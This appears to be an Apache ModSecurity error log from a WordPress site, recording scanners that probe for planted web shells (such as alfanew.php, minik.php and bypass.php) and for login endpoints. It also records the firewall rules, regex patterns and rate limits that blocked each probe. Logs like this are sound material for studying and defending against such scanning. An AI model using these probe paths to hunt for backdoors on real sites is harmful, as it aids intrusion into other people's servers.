[Wed Dec 24 10:54:15.627296 2025] [:error] [pid 16468:tid 16540] [client 63.135.161.70:38639] [client 63.135.161.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aUtV14dyfuSTFLkCbP8zQgAAAJA"]
[Wed Dec 24 10:54:16.793653 2025] [:error] [pid 16468:tid 16538] [client 63.135.161.50:60537] [client 63.135.161.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.135.161.50, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aUtV2IdyfuSTFLkCbP8zTAAAAI4"]
[Wed Dec 24 10:54:17.731486 2025] [:error] [pid 16468:tid 16526] [client 63.135.161.50:60537] [client 63.135.161.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUtV2YdyfuSTFLkCbP8zVAAAAII"]
[Wed Dec 24 10:54:18.394887 2025] [:error] [pid 16550:tid 16572] [client 63.135.161.66:35367] [client 63.135.161.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aUtV2qYYcdD-LuO7vrB-KQAAANQ"]
[Wed Dec 24 10:54:19.308158 2025] [:error] [pid 28777:tid 28801] [client 63.135.161.71:34213] [client 63.135.161.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aUtV25BVBcZ34cSqz8rRlgAAAZY"]
[Wed Dec 24 10:54:20.381659 2025] [:error] [pid 28405:tid 28412] [client 104.234.53.226:22169] [client 104.234.53.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUtV3MKkTWlhmfdXFqb5RAAAAUM"]
[Wed Dec 24 10:54:20.832950 2025] [:error] [pid 16466:tid 16478] [client 63.135.161.67:51449] [client 63.135.161.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aUtV3Lu0JcuKJMjJn6zRCQAAAAg"]
[Wed Dec 24 10:54:22.521447 2025] [:error] [pid 16468:tid 16540] [client 63.135.161.51:33961] [client 63.135.161.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUtV3odyfuSTFLkCbP8zgAAAAJA"]
[Wed Dec 24 10:54:23.262647 2025] [:error] [pid 54139:tid 54157] [client 104.234.53.213:21291] [client 104.234.53.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aUtV38rYCZenIDzgXuIQ5AAAARA"]
[Wed Dec 24 10:54:25.616983 2025] [:error] [pid 16550:tid 16576] [client 63.135.161.56:23195] [client 63.135.161.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aUtV4aYYcdD-LuO7vrB-lAAAANg"]
[Wed Dec 24 10:54:27.810289 2025] [:error] [pid 16467:tid 16515] [client 63.135.161.64:35497] [client 63.135.161.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aUtV440TJMcBxX5slgrvWwAAAFI"]
[Wed Dec 24 10:55:12.680465 2025] [:error] [pid 16550:tid 16556] [client 63.135.161.76:42267] [client 63.135.161.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/simple-file-list/"] [unique_id "aUtWEKYYcdD-LuO7vrCB3AAAAMQ"]
[Wed Dec 24 13:47:43.281750 2025] [:error] [pid 16550:tid 16558] [client 170.106.167.214:48904] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUt-f6YYcdD-LuO7vrCyDwAAAMY"]
[Wed Dec 24 14:59:04.730627 2025] [:error] [pid 16466:tid 16490] [client 182.40.104.255:45840] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUuPOLu0JcuKJMjJn6z56QAAABQ"]
[Thu Dec 25 02:06:01.484942 2025] [:error] [pid 38703:tid 38722] [client 150.109.119.38:37590] [client 150.109.119.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUwrifmvKu9DsbfjDPgtFwAAANA"]
[Thu Dec 25 08:53:54.464015 2025] [:error] [pid 31570:tid 31611] [client 43.135.144.81:48336] [client 43.135.144.81] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUyLImPy2DpAzW_4a2jGmQAAAEs"]
[Thu Dec 25 09:57:00.509682 2025] [:error] [pid 31655:tid 31660] [client 182.43.70.143:37992] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUyZ7JozPMk9HPtIJPMj_gAAAMM"]
[Thu Dec 25 11:05:37.099895 2025] [:error] [pid 31570:tid 31611] [client 49.146.222.227:59752] [client 49.146.222.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.146.222.227, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUyqAWPy2DpAzW_4a2jedAAAAEs"]
[Thu Dec 25 12:52:19.737260 2025] [:error] [pid 31571:tid 31636] [client 185.238.231.114:43571] [client 185.238.231.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.114, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUzDA-7e_lLK2X5wU8lhaQAAAIk"]
[Thu Dec 25 16:18:59.050721 2025] [:error] [pid 31571:tid 31642] [client 223.15.245.170:60500] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUzzc-7e_lLK2X5wU8mOCgAAAI8"]
[Thu Dec 25 16:40:19.697413 2025] [:error] [pid 2996:tid 3005] [client 43.135.134.127:50144] [client 43.135.134.127] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUz4c6rrTp0EWNyhaIQX5wAAAQc"]
[Thu Dec 25 20:38:18.393307 2025] [:error] [pid 22045:tid 22122] [client 174.138.85.139:64052] [client 174.138.85.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aU0wOqsGGmXjDnvlmHtLsQAAAVQ"], referer: binance.com
[Thu Dec 25 21:30:24.410485 2025] [:error] [pid 22045:tid 22115] [client 124.156.226.179:43884] [client 124.156.226.179] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aU08cKsGGmXjDnvlmHtgiAAAAU0"]
[Thu Dec 25 21:38:23.100557 2025] [:error] [pid 22043:tid 22068] [client 4.193.224.251:16857] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "aU0-Tz4YVtlb2Iz_QE5HwQAAABQ"]
[Thu Dec 25 21:38:24.114055 2025] [:error] [pid 27869:tid 27892] [client 4.193.224.251:16832] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "aU0-UBNK7_n86kBD7qfLgwAAAJU"]
[Thu Dec 25 21:38:24.810613 2025] [:error] [pid 22045:tid 22105] [client 4.193.224.251:16893] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "aU0-UKsGGmXjDnvlmHtjgQAAAUM"]
[Thu Dec 25 21:38:26.098908 2025] [:error] [pid 22045:tid 22123] [client 4.193.224.251:16895] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blurbs.php"] [unique_id "aU0-UqsGGmXjDnvlmHtjgwAAAVU"]
[Thu Dec 25 21:38:26.691531 2025] [:error] [pid 22043:tid 22055] [client 4.193.224.251:16854] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "aU0-Uj4YVtlb2Iz_QE5HxQAAAAc"]
[Thu Dec 25 21:38:27.445496 2025] [:error] [pid 22044:tid 22076] [client 4.193.224.251:16888] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "aU0-U3PTC5rQKTB0FQ-RjQAAAME"]
[Thu Dec 25 21:38:27.928456 2025] [:error] [pid 22045:tid 22120] [client 4.193.224.251:16880] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "aU0-U6sGGmXjDnvlmHtjiQAAAVI"]
[Thu Dec 25 21:38:28.593843 2025] [:error] [pid 22131:tid 22153] [client 4.193.224.251:16848] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cord.php"] [unique_id "aU0-VJvVMtSTB4lX2fYqrgAAAFI"]
[Thu Dec 25 21:38:29.201384 2025] [:error] [pid 22043:tid 22056] [client 4.193.224.251:16851] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aU0-VT4YVtlb2Iz_QE5HyQAAAAg"]
[Thu Dec 25 21:38:30.066982 2025] [:error] [pid 27869:tid 27872] [client 4.193.224.251:16833] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aU0-VhNK7_n86kBD7qfLhwAAAIE"]
[Thu Dec 25 21:38:31.231884 2025] [:error] [pid 22044:tid 22077] [client 4.193.224.251:16862] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aU0-V3PTC5rQKTB0FQ-RlgAAAMI"]
[Thu Dec 25 21:38:31.955525 2025] [:error] [pid 27869:tid 27882] [client 4.193.224.251:16885] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aU0-VxNK7_n86kBD7qfLjwAAAIs"]
[Thu Dec 25 21:38:32.497760 2025] [:error] [pid 22044:tid 22092] [client 4.193.224.251:16797] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aU0-WHPTC5rQKTB0FQ-RmwAAANE"]
[Thu Dec 25 21:38:33.035283 2025] [:error] [pid 22044:tid 22090] [client 4.193.224.251:16856] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aU0-WXPTC5rQKTB0FQ-RnwAAAM8"]
[Thu Dec 25 21:38:33.891012 2025] [:error] [pid 22131:tid 22156] [client 4.193.224.251:16891] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aU0-WZvVMtSTB4lX2fYqtQAAAFQ"]
[Thu Dec 25 21:38:34.497384 2025] [:error] [pid 22045:tid 22110] [client 4.193.224.251:16822] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aU0-WqsGGmXjDnvlmHtjkwAAAUg"]
[Thu Dec 25 21:38:35.512282 2025] [:error] [pid 22131:tid 22158] [client 4.193.224.251:16890] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aU0-W5vVMtSTB4lX2fYquQAAAFY"]
[Thu Dec 25 21:38:36.455411 2025] [:error] [pid 22045:tid 22108] [client 4.193.224.251:16778] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aU0-XKsGGmXjDnvlmHtjlAAAAUY"]
[Thu Dec 25 21:38:37.737724 2025] [:error] [pid 22043:tid 22048] [client 4.193.224.251:11202] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aU0-XT4YVtlb2Iz_QE5HzwAAAAA"]
[Thu Dec 25 21:38:38.657379 2025] [:error] [pid 22131:tid 22148] [client 4.193.224.251:16868] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/minik.php"] [unique_id "aU0-XpvVMtSTB4lX2fYqvQAAAE0"]
[Thu Dec 25 21:38:39.527929 2025] [:error] [pid 27869:tid 27886] [client 4.193.224.251:16852] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aU0-XxNK7_n86kBD7qfLpwAAAI8"]
[Thu Dec 25 21:38:39.944167 2025] [:error] [pid 22043:tid 22050] [client 4.193.224.251:16847] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aU0-Xz4YVtlb2Iz_QE5H0gAAAAI"]
[Thu Dec 25 21:38:40.783840 2025] [:error] [pid 22043:tid 22062] [client 4.193.224.251:16855] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aU0-YD4YVtlb2Iz_QE5H1gAAAA4"]
[Thu Dec 25 21:38:41.279861 2025] [:error] [pid 27869:tid 27878] [client 4.193.224.251:16787] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/OK.php"] [unique_id "aU0-YRNK7_n86kBD7qfLqgAAAIc"]
[Thu Dec 25 21:38:42.110056 2025] [:error] [pid 27869:tid 27893] [client 4.193.224.251:16790] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aU0-YhNK7_n86kBD7qfLqwAAAJY"]
[Thu Dec 25 21:38:42.593685 2025] [:error] [pid 22045:tid 22116] [client 4.193.224.251:16794] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aU0-YqsGGmXjDnvlmHtjpQAAAU4"]
[Thu Dec 25 21:38:43.243765 2025] [:error] [pid 22045:tid 22126] [client 4.193.224.251:16773] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aU0-Y6sGGmXjDnvlmHtjqAAAAVg"]
[Thu Dec 25 21:38:44.085096 2025] [:error] [pid 22131:tid 22155] [client 4.193.224.251:16770] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfanew.php"] [unique_id "aU0-ZJvVMtSTB4lX2fYqzwAAAFM"]
